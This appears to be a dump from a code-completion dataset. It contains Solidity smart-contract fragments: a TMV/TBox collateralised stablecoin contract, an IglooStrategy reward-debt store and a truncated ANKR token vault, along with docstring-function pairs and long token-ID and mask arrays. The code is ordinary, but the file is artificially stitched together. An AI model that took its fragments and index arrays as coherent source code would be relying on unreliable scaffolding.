/// @dev The TmvWithdrawn event is fired whenever TMV is withdrawn from a Box
/// using withdrawTmv method.
event TmvWithdrawn(uint256 indexed id, uint256 value, address who);
/// @dev The EthAdded event is fired whenever Ether is added to a Box
/// using addEth method.
event EthAdded(uint256 indexed id, uint256 value, address who);
/// @dev The TmvAdded event is fired whenever TMV is added to a Box
/// using addTmv method.
event TmvAdded(uint256 indexed id, uint256 value, address who);
/// @dev Defends against front-running attacks.
modifier validTx() {
require(tx.gasprice <= settings.gasPriceLimit(), "Gas price is greater than allowed");
_;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyAdmin() {
require(settings.isFeeManager(msg.sender), "You have no access");
_;
}
/// @dev Throws if Box with specified id does not exist.
modifier onlyExists(uint256 _id) {
require(_exists(_id), "Box does not exist");
_;
}
/// @dev Access modifier for token owner-only functionality.
modifier onlyApprovedOrOwner(uint256 _id) {
require(_isApprovedOrOwner(msg.sender, _id), "Box isn't your");
_;
}
/// @dev The constructor sets ERC721 token name and symbol.
/// @param _settings The address of the system settings contract.
constructor(address _settings) TBoxToken("TBoxToken", "TBX") public {
settings = ISettings(_settings);
}
/// @notice The funds are safe.
/// @dev Creates Box with max collateral percent.
function() external payable {
// Redirect to the create method with no tokens to withdraw
create(0);
}
/// @dev Withdraws system fee.
function withdrawFee(address _beneficiary) external onlyAdmin {
require(_beneficiary != address(0), "Zero address, be careful");
// Fee is the difference between the contract balance and
// amount of Ether used in the entire system collateralization
uint256 _fees = address(this).balance.sub(globalETH);
// Check that the fee is collected
require(_fees > 0, "There is no available fees");
// Transfer fee to provided address
_beneficiary.transfer(_fees);
}
/// @dev Checks possibility of the issue of the specified token amount
/// for provided Ether collateral and creates new Box
/// @param _tokensToWithdraw Number of tokens to withdraw
/// @return New Box ID.
function create(uint256 _tokensToWithdraw) public payable validTx returns (uint256) {
// Check that msg.value isn't smaller than minimum deposit
require(msg.value >= settings.minDeposit(), "Deposit is very small");
// Calculate collateralization when tokens are needed
if (_tokensToWithdraw > 0) {
// The number of tokens when collateralization is high
uint256 _tokenLimit = overCapWithdrawableTmv(msg.value);
// The number of tokens that can be safely withdrawn from the system
uint256 _maxGlobal = globalWithdrawableTmv(msg.value);
// Determine the higher number of tokens
if (_tokenLimit > _maxGlobal) {
_tokenLimit = _maxGlobal;
}
// The number of tokens that can be withdrawn anyway
uint256 _local = defaultWithdrawableTmv(msg.value);
// Determine the higher number of tokens
if (_tokenLimit < _local) {
_tokenLimit = _local;
}
// You can only withdraw available amount
require(_tokensToWithdraw <= _tokenLimit, "Token amount is more than available");
// Mint TMV tokens to the Box creator
IToken(settings.tmvAddress()).mint(msg.sender, _tokensToWithdraw);
}
// The id of the new Box
uint256 _id = boxes.push(Box(msg.value, _tokensToWithdraw)).sub(1);
// Increase global Ether counter
globalETH = globalETH.add(msg.value);
// Mint TBX token to the Box creator
_mint(msg.sender, _id);
// Fire the event
emit Created(_id, msg.sender, msg.value, _tokensToWithdraw);
// return the new Box's ID
return _id;
}
/// @dev Allows the owner or approved user of the Box to close one by burning the
/// required number of tokens and return the Box's collateral.
/// @param _id A Box ID to close.
function close(uint256 _id) external onlyApprovedOrOwner(_id) {
// Address of the owner of the Box
address _owner = _tokenOwner[_id];
// Burn needed number of tokens
uint256 _tokensNeed = boxes[_id].tmvReleased;
_burnTMV(msg.sender, _tokensNeed);
// Grab a reference to the Box's collateral in storage
uint256 _collateral = boxes[_id].collateral;
// burn Box token
_burn(_owner, _id);
// Removes Box
delete boxes[_id];
// Send the Box's collateral to the person who made closing happen
msg.sender.transfer(_collateral);
// Decrease global Ether counter
globalETH = globalETH.sub(_collateral);
// Fire the event
emit Closed(_id, _owner, msg.sender);
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows the user to capitalize a Box with the maximum current amount.
/// @param _id A Box ID to capitalize.
function capitalizeMax(uint256 _id) external {
capitalize(_id, maxCapAmount(_id));
}
/// @dev Allows the user to capitalize a Box with specified number of tokens.
/// @param _id A Box ID to capitalize.
/// @param _tmv Specified number of tokens to capitalize.
function capitalize(uint256 _id, uint256 _tmv) public validTx {
// The maximum number of tokens for which Box can be capitalized
uint256 _maxCapAmount = maxCapAmount(_id);
// Check the number of tokens
require(_tmv <= _maxCapAmount && _tmv >= 10 ** 17, "Tokens amount out of range");
// Decrease Box TMV withdrawn counter
boxes[_id].tmvReleased = boxes[_id].tmvReleased.sub(_tmv);
// Calculate the Ether equivalent of tokens according to the logic
// where 1 TMV is equal to 1 USD
uint256 _equivalentETH = _tmv.mul(precision).div(rate());
// Calculate system fee
uint256 _fee = _tmv.mul(settings.sysFee()).div(rate());
// Calculate user bonus
uint256 _userReward = _tmv.mul(settings.userFee()).div(rate());
// Decrease Box's collateral amount
boxes[_id].collateral = boxes[_id].collateral.sub(_fee.add(_userReward).add(_equivalentETH));
// Decrease global Ether counter
globalETH = globalETH.sub(_fee.add(_userReward).add(_equivalentETH));
// burn Box token
_burnTMV(msg.sender, _tmv);
// Send the Ether equivalent & user benefit to the person who made capitalization happen.
msg.sender.transfer(_equivalentETH.add(_userReward));
// Fire the event
emit Capitalized(_id, ownerOf(_id), msg.sender, _tmv, _equivalentETH.add(_userReward).add(_fee), _equivalentETH.add(_userReward));
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows an owner or approved user of the Box to withdraw maximum amount
/// of Ether from the Box.
/// @param _id A Box ID.
function withdrawEthMax(uint256 _id) external {
withdrawEth(_id, withdrawableEth(_id));
}
/// @dev Allows an owner or approved user of the Box to withdraw specified amount
/// of Ether from the Box.
/// @param _id A Box ID.
/// @param _amount The number of Ether to withdraw.
function withdrawEth(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
require(_amount <= withdrawableEth(_id), "You can't withdraw so much");
// Decrease Box's collateral amount
boxes[_id].collateral = boxes[_id].collateral.sub(_amount);
// Decrease global Ether counter
globalETH = globalETH.sub(_amount);
// Send the Ether to the person who made capitalization happen
msg.sender.transfer(_amount);
// Fire the event
emit EthWithdrawn(_id, _amount, msg.sender);
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows an owner or approved user of the Box to withdraw maximum number
/// of TMV tokens from the Box.
/// @param _id A Box ID.
function withdrawTmvMax(uint256 _id) external onlyApprovedOrOwner(_id) {
withdrawTmv(_id, boxWithdrawableTmv(_id));
}
/// @dev Allows an owner or approved user of the Box to withdraw specified number
/// of TMV tokens from the Box.
/// @param _id A Box ID.
/// @param _amount The number of tokens to withdraw.
function withdrawTmv(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
// Check the number of tokens
require(_amount <= boxWithdrawableTmv(_id), "You can't withdraw so much");
// Increase Box TMV withdrawn counter
boxes[_id].tmvReleased = boxes[_id].tmvReleased.add(_amount);
// Mints tokens to the person who made withdrawing
IToken(settings.tmvAddress()).mint(msg.sender, _amount);
// Fire the event
emit TmvWithdrawn(_id, _amount, msg.sender);
}
/// @dev Allows anyone to add Ether to a Box.
/// @param _id A Box ID.
function addEth(uint256 _id) external payable onlyExists(_id) {
require(msg.value > 0, "Don't add 0");
// Increase Box collateral
boxes[_id].collateral = boxes[_id].collateral.add(msg.value);
// Increase global Ether counter
globalETH = globalETH.add(msg.value);
// Fire the event
emit EthAdded(_id, msg.value, msg.sender);
}
/// @dev Allows anyone to add TMV to a Box.
/// @param _id A Box ID.
/// @param _amount The number of tokens to add.
function addTmv(uint256 _id, uint256 _amount) external onlyExists(_id) {
require(_amount > 0, "Don't add 0");
// Check the number of tokens
require(_amount <= boxes[_id].tmvReleased, "Too much tokens");
// Removes added tokens from the collateralization
_burnTMV(msg.sender, _amount);
boxes[_id].tmvReleased = boxes[_id].tmvReleased.sub(_amount);
// Fire the event
emit TmvAdded(_id, _amount, msg.sender);
}
/// @dev Allows anyone to close Box with collateral amount smaller than 3 USD.
/// The person who made closing happen will benefit like capitalization.
/// @param _id A Box ID.
function closeDust(uint256 _id) external onlyExists(_id) validTx {
// Check collateral percent of the Box
require(collateralPercent(_id) >= settings.minStability(), "This Box isn't collapsable");
// Check collateral amount of the Box
require(boxes[_id].collateral.mul(rate()) < precision.mul(3).mul(10 ** 18), "It's only possible to collapse dust");
// Burn needed TMV amount to close
uint256 _tmvReleased = boxes[_id].tmvReleased;
_burnTMV(msg.sender, _tmvReleased);
uint256 _collateral = boxes[_id].collateral;
// Calculate the Ether equivalent of tokens according to the logic
// where 1 TMV is equal to 1 USD
uint256 _eth = _tmvReleased.mul(precision).div(rate());
// Calculate user bonus
uint256 _userReward = _tmvReleased.mul(settings.userFee()).div(rate());
// The owner of the Box
address _owner = ownerOf(_id);
// Remove a Box
delete boxes[_id];
// Burn Box token
_burn(_owner, _id);
// Send the Ether equivalent & user benefit to the person who made closing happen
msg.sender.transfer(_eth.add(_userReward));
// Decrease global Ether counter
globalETH = globalETH.sub(_collateral);
// Fire the event
emit Closed(_id, _owner, msg.sender);
}
/// @dev Burns specified number of TMV tokens.
function _burnTMV(address _from, uint256 _amount) internal {
if (_amount > 0) {
require(IToken(settings.tmvAddress()).balanceOf(_from) >= _amount, "You don't have enough tokens");
IToken(settings.tmvAddress()).burnLogic(_from, _amount);
}
}
/// @dev Returns current oracle ETH/USD price with precision.
function rate() public view returns(uint256) {
return IOracle(settings.oracleAddress()).ethUsdPrice();
}
/// @dev Given a Box ID, returns a number of tokens that can be withdrawn.
function boxWithdrawableTmv(uint256 _id) public view onlyExists(_id) returns(uint256) {
Box memory box = boxes[_id];
// Number of tokens that can be withdrawn for Box's collateral
uint256 _amount = withdrawableTmv(box.collateral);
if (box.tmvReleased >= _amount) {
return 0;
}
// Return withdrawable rest
return _amount.sub(box.tmvReleased);
}
/// @dev Given a Box ID, returns an amount of Ether that can be withdrawn.
function withdrawableEth(uint256 _id) public view onlyExists(_id) returns(uint256) {
// Amount of Ether that is not used in collateralization
uint256 _avlbl = _freeEth(_id);
// Return available Ether to withdraw
if (_avlbl == 0) {
return 0;
}
uint256 _rest = boxes[_id].collateral.sub(_avlbl);
if (_rest < settings.minDeposit()) {
return boxes[_id].collateral.sub(settings.minDeposit());
}
else return _avlbl;
}
/// @dev Given a Box ID, returns amount of ETH that is not used in collateralization.
function _freeEth(uint256 _id) internal view returns(uint256) {
// Grab a reference to the Box
Box memory box = boxes[_id];
// When there are no tokens withdrawn
if (box.tmvReleased == 0) {
return box.collateral;
}
// The amount of Ether that can be safely withdrawn from the system
uint256 _maxGlobal = globalWithdrawableEth();
uint256 _globalAvailable;
if (_maxGlobal > 0) {
// The amount of Ether backing the tokens when the system is overcapitalized
uint256 _need = overCapFrozenEth(box.tmvReleased);
if (box.collateral > _need) {
// Free Ether amount when the system is overcapitalized
uint256 _free = box.collateral.sub(_need);
if (_free > _maxGlobal) {
// Store available amount when Box available Ether amount
// is more than global available
_globalAvailable = _maxGlobal;
}
// Return available amount of Ether to withdraw when the Box withdrawable
// amount of Ether is smaller than global withdrawable amount of Ether
else return _free;
}
}
// The amount of Ether backing the tokens by default
uint256 _frozen = defaultFrozenEth(box.tmvReleased);
if (box.collateral > _frozen) {
// Define the biggest number and return available Ether amount
uint256 _localAvailable = box.collateral.sub(_frozen);
return (_localAvailable > _globalAvailable) ? _localAvailable : _globalAvailable;
} else {
// Return available Ether amount
return _globalAvailable;
}
}
/// @dev Given a Box ID, returns collateral percent.
function collateralPercent(uint256 _id) public view onlyExists(_id) returns(uint256) {
Box memory box = boxes[_id];
if (box.tmvReleased == 0) {
return 10**27; //some unreachable number
}
uint256 _ethCollateral = box.collateral;
// division by 100 is not necessary because to get the percent you need to multiply by 100
return _ethCollateral.mul(rate()).div(box.tmvReleased);
}
/// @dev Checks if a given address currently has approval for a particular Box.
/// @param _spender the address we are confirming Box is approved for.
/// @param _tokenId Box ID.
function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) {
return _isApprovedOrOwner(_spender, _tokenId);
}
/// @dev Returns the global collateralization percent.
function globalCollateralization() public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (_supply == 0) {
return settings.globalTargetCollateralization();
}
return globalETH.mul(rate()).div(_supply);
}
/// @dev Returns the number of tokens that can be safely withdrawn from the system.
function globalWithdrawableTmv(uint256 _value) public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (globalCollateralization() <= settings.globalTargetCollateralization()) {
return 0;
}
uint256 _totalBackedTmv = defaultWithdrawableTmv(globalETH.add(_value));
return _totalBackedTmv.sub(_supply);
}
/// @dev Returns Ether amount that can be safely withdrawn from the system.
function globalWithdrawableEth() public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (globalCollateralization() <= settings.globalTargetCollateralization()) {
return 0;
}
uint256 _need = defaultFrozenEth(_supply);
return globalETH.sub(_need);
}
/// @dev Returns the number of tokens that can be withdrawn
/// for the specified collateral amount by default.
function defaultWithdrawableTmv(uint256 _collateral) public view returns (uint256) {
uint256 _num = _collateral.mul(rate());
uint256 _div = settings.globalTargetCollateralization();
return _num.div(_div);
}
/// @dev Returns the number of tokens that can be withdrawn
/// for the specified collateral amount when the system is overcapitalized.
function overCapWithdrawableTmv(uint256 _collateral) public view returns (uint256) {
uint256 _num = _collateral.mul(rate());
uint256 _div = settings.ratio();
return _num.div(_div);
}
/// @dev Returns Ether amount backing the specified number of tokens by default.
function defaultFrozenEth(uint256 _supply) public view returns (uint256) {
return _supply.mul(settings.globalTargetCollateralization()).div(rate());
}
/// @dev Returns Ether amount backing the specified number of tokens
/// when the system is overcapitalized.
function overCapFrozenEth(uint256 _supply) public view returns (uint256) {
return _supply.mul(settings.ratio()).div(rate());
}
/// @dev Returns the number of TMV that can capitalize the specified Box.
function maxCapAmount(uint256 _id) public view onlyExists(_id) returns (uint256) {
uint256 _colP = collateralPercent(_id);
require(_colP >= settings.minStability() && _colP < settings.maxStability(), "It's only possible to capitalize toxic Boxes");
Box memory box = boxes[_id];
uint256 _num = box.tmvReleased.mul(settings.ratio()).sub(box.collateral.mul(rate()));
uint256 _div = settings.ratio().sub(settings.minStability());
return _num.div(_div);
}
/// @dev Returns the number of tokens that can be actually withdrawn
/// for the specified collateral.
function withdrawableTmv(uint256 _collateral) public view returns(uint256) {
uint256 _amount = overCapWithdrawableTmv(_collateral);
uint256 _maxGlobal = globalWithdrawableTmv(0);
if (_amount > _maxGlobal) {
_amount = _maxGlobal;
}
uint256 _local = defaultWithdrawableTmv(_collateral);
if (_amount < _local) {
_amount = _local;
}
return _amount;
}
/// @dev Returns the collateral percentage for which tokens can be withdrawn
/// for the specified collateral.
function withdrawPercent(uint256 _collateral) external view returns(uint256) {
uint256 _amount = overCapWithdrawableTmv(_collateral);
uint256 _maxGlobal = globalWithdrawableTmv(_collateral);
if (_amount > _maxGlobal) {
_amount = _maxGlobal;
}
uint256 _local = defaultWithdrawableTmv(_collateral);
if (_amount < _local) {
_amount = _local;
}
return _collateral.mul(rate()).div(_amount);
}
}
pragma solidity 0.4.25;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Metadata.sol";
/**
* @title TBoxClassic Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract TBoxToken is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) ERC721Metadata(name, symbol) public {}
}
| @dev Allows an owner or approved user of the Box to withdraw specified amount of Ether from the Box. @param _id A Box ID. @param _amount The number of Ether to withdraw. Decrease Box's collateral amount Decrease global Ether counter Send the Ether to the person who made capitalization happen Fire the event | function withdrawEth(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
require(_amount <= withdrawableEth(_id), "You can't withdraw so much");
boxes[_id].collateral = boxes[_id].collateral.sub(_amount);
globalETH = globalETH.sub(_amount);
msg.sender.transfer(_amount);
emit EthWithdrawn(_id, _amount, msg.sender);
}
| 911,860 | [
1,
19132,
392,
3410,
578,
20412,
729,
434,
326,
8549,
358,
598,
9446,
1269,
3844,
225,
434,
512,
1136,
628,
326,
8549,
18,
225,
389,
350,
432,
8549,
1599,
18,
225,
389,
8949,
1021,
1300,
434,
512,
1136,
358,
598,
9446,
18,
31073,
448,
8549,
1807,
4508,
2045,
287,
3844,
31073,
448,
2552,
512,
1136,
3895,
2479,
326,
512,
1136,
358,
326,
6175,
10354,
7165,
12872,
1588,
5865,
10151,
326,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
41,
451,
12,
11890,
5034,
389,
350,
16,
2254,
5034,
389,
8949,
13,
1071,
1338,
31639,
1162,
5541,
24899,
350,
13,
923,
4188,
288,
203,
3639,
2583,
24899,
8949,
405,
374,
16,
315,
1190,
9446,
310,
3634,
8863,
203,
203,
3639,
2583,
24899,
8949,
1648,
598,
9446,
429,
41,
451,
24899,
350,
3631,
315,
6225,
848,
1404,
598,
9446,
1427,
9816,
8863,
203,
203,
3639,
14356,
63,
67,
350,
8009,
12910,
2045,
287,
273,
14356,
63,
67,
350,
8009,
12910,
2045,
287,
18,
1717,
24899,
8949,
1769,
203,
203,
3639,
2552,
1584,
44,
273,
2552,
1584,
44,
18,
1717,
24899,
8949,
1769,
203,
203,
3639,
1234,
18,
15330,
18,
13866,
24899,
8949,
1769,
203,
203,
3639,
3626,
512,
451,
1190,
9446,
82,
24899,
350,
16,
389,
8949,
16,
1234,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0xb17A67F28645FAC19856f4F36A5985e91ecB8Ec9/sources/contracts/Strategies.sol | owned by an IglooStrategy contractscaled up by ACC_PEFI_PRECISIONpending reward = (user.amount * rewardTokensPerShare) / ACC_PEFI_PRECISION - rewardDebt[user][tokenAddress]stored as rewardDebt[user][tokenAddress] | contract IglooStrategyStorageMultiReward is Ownable {
uint256 internal constant ACC_PEFI_PRECISION = 1e18;
mapping(address => uint256) public rewardTokensPerShare;
mapping(address => mapping(address => uint256)) public rewardDebt;
function increaseRewardDebt(address user, address token, uint256 shareAmount) external onlyOwner {
rewardDebt[user][token] += (rewardTokensPerShare[token] * shareAmount) / ACC_PEFI_PRECISION;
}
function decreaseRewardDebt(address user, address token, uint256 shareAmount) external onlyOwner {
rewardDebt[user][token] -= (rewardTokensPerShare[token] * shareAmount) / ACC_PEFI_PRECISION;
}
function setRewardDebt(address user, address token, uint256 userShares) external onlyOwner {
rewardDebt[user][token] = (rewardTokensPerShare[token] * userShares) / ACC_PEFI_PRECISION;
}
function increaseRewardTokensPerShare(address token, uint256 amount) external onlyOwner {
rewardTokensPerShare[token] += amount;
}
}
| 4,518,080 | [
1,
995,
329,
635,
392,
467,
75,
383,
83,
4525,
20092,
12825,
731,
635,
18816,
67,
1423,
1653,
67,
3670,
26913,
9561,
19890,
273,
261,
1355,
18,
8949,
225,
19890,
5157,
2173,
9535,
13,
342,
18816,
67,
1423,
1653,
67,
3670,
26913,
300,
19890,
758,
23602,
63,
1355,
6362,
2316,
1887,
65,
22601,
487,
19890,
758,
23602,
63,
1355,
6362,
2316,
1887,
65,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
467,
75,
383,
83,
4525,
3245,
5002,
17631,
1060,
353,
14223,
6914,
288,
203,
565,
2254,
5034,
2713,
5381,
18816,
67,
1423,
1653,
67,
3670,
26913,
273,
404,
73,
2643,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
19890,
5157,
2173,
9535,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
1071,
19890,
758,
23602,
31,
203,
203,
565,
445,
10929,
17631,
1060,
758,
23602,
12,
2867,
729,
16,
1758,
1147,
16,
2254,
5034,
7433,
6275,
13,
3903,
1338,
5541,
288,
203,
3639,
19890,
758,
23602,
63,
1355,
6362,
2316,
65,
1011,
261,
266,
2913,
5157,
2173,
9535,
63,
2316,
65,
380,
7433,
6275,
13,
342,
18816,
67,
1423,
1653,
67,
3670,
26913,
31,
203,
565,
289,
203,
203,
565,
445,
20467,
17631,
1060,
758,
23602,
12,
2867,
729,
16,
1758,
1147,
16,
2254,
5034,
7433,
6275,
13,
3903,
1338,
5541,
288,
203,
3639,
19890,
758,
23602,
63,
1355,
6362,
2316,
65,
3947,
261,
266,
2913,
5157,
2173,
9535,
63,
2316,
65,
380,
7433,
6275,
13,
342,
18816,
67,
1423,
1653,
67,
3670,
26913,
31,
203,
565,
289,
203,
203,
565,
445,
444,
17631,
1060,
758,
23602,
12,
2867,
729,
16,
1758,
1147,
16,
2254,
5034,
729,
24051,
13,
3903,
1338,
5541,
288,
203,
3639,
19890,
758,
23602,
63,
1355,
6362,
2316,
65,
273,
261,
266,
2913,
5157,
2173,
9535,
63,
2316,
65,
380,
729,
24051,
13,
342,
18816,
67,
1423,
1653,
67,
3670,
26913,
31,
203,
565,
289,
203,
203,
565,
445,
10929,
2
] |
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only owner is allowed for this operation.");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Cannot transfer ownership to an empty user.");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ANKRTokenVault is Ownable {
using SafeMath for uint256;
// token contract Address
//Wallet Addresses for allocation immediately
address public opentokenAddress = 0x7B1f5F0FCa6434D7b01161552D335A774706b650;
address public tokenmanAddress = 0xBB46219183f1F17364914e353A44F982de77eeC8;
// Wallet Address for unlocked token
address public marketingAddress = 0xc2e96F45232134dD32B6DF4D51AC82248CA942cc;
// Wallet Address for locked token
address public teamReserveWallet = 0x0AA7Aa665276A96acD25329354FeEa8F955CAf2b;
address public communityReserveWallet = 0xeFA1f626670445271359940e1aC346Ac374019E7;
//Token Allocations
uint256 public opentokenAllocation = 0.5 * (10 ** 9) * (10 ** 18);
uint256 public tokenmanAllocation = 0.2 * (10 ** 9) * (10 ** 18);
uint256 public marketingAllocation = 0.5 * (10 ** 9) * (10 ** 18);
uint256 public teamReserveAllocation = 2.0 * (10 ** 9) * (10 ** 18);
uint256 public communityReserveAllocation = 4.0 * (10 ** 9) * (10 ** 18);
//Total Token Allocations
uint256 public totalAllocation = 10 * (10 ** 9) * (10 ** 18);
uint256 public investorTimeLock = 183 days; // six months
uint256 public othersTimeLock = 3 * 365 days;
// uint256 public investorVestingStages = 1;
uint256 public othersVestingStages = 3 * 12;
// uint256 public investorTimeLock = 5 seconds; // six months
// uint256 public othersTimeLock = 3 * 12 * 5 seconds;
/** Reserve allocations */
mapping(address => uint256) public allocations;
/** When timeLocks are over (UNIX Timestamp) */
mapping(address => uint256) public timeLocks;
/** How many tokens each reserve wallet has claimed */
mapping(address => uint256) public claimed;
/** How many tokens each reserve wallet has claimed */
mapping(address => uint256) public lockedInvestors;
address[] public lockedInvestorsIndices;
/** How many tokens each reserve wallet has claimed */
mapping(address => uint256) public unLockedInvestors;
address[] public unLockedInvestorsIndices;
/** When this vault was locked (UNIX Timestamp)*/
uint256 public lockedAt = 0;
ERC20Basic public token;
/** Allocated reserve tokens */
event Allocated(address wallet, uint256 value);
/** Distributed reserved tokens */
event Distributed(address wallet, uint256 value);
/** Tokens have been locked */
event Locked(uint256 lockTime);
//Any of the reserve wallets
modifier onlyReserveWallets {
require(allocations[msg.sender] > 0, "There should be non-zero allocation.");
_;
}
// //Only Ankr team reserve wallet
// modifier onlyNonInvestorReserve {
// require(
// msg.sender == teamReserveWallet || msg.sender == communityReserveWallet,
// "Only team and community is allowed for this operation.");
// require(allocations[msg.sender] > 0, "There should be non-zero allocation for team.");
// _;
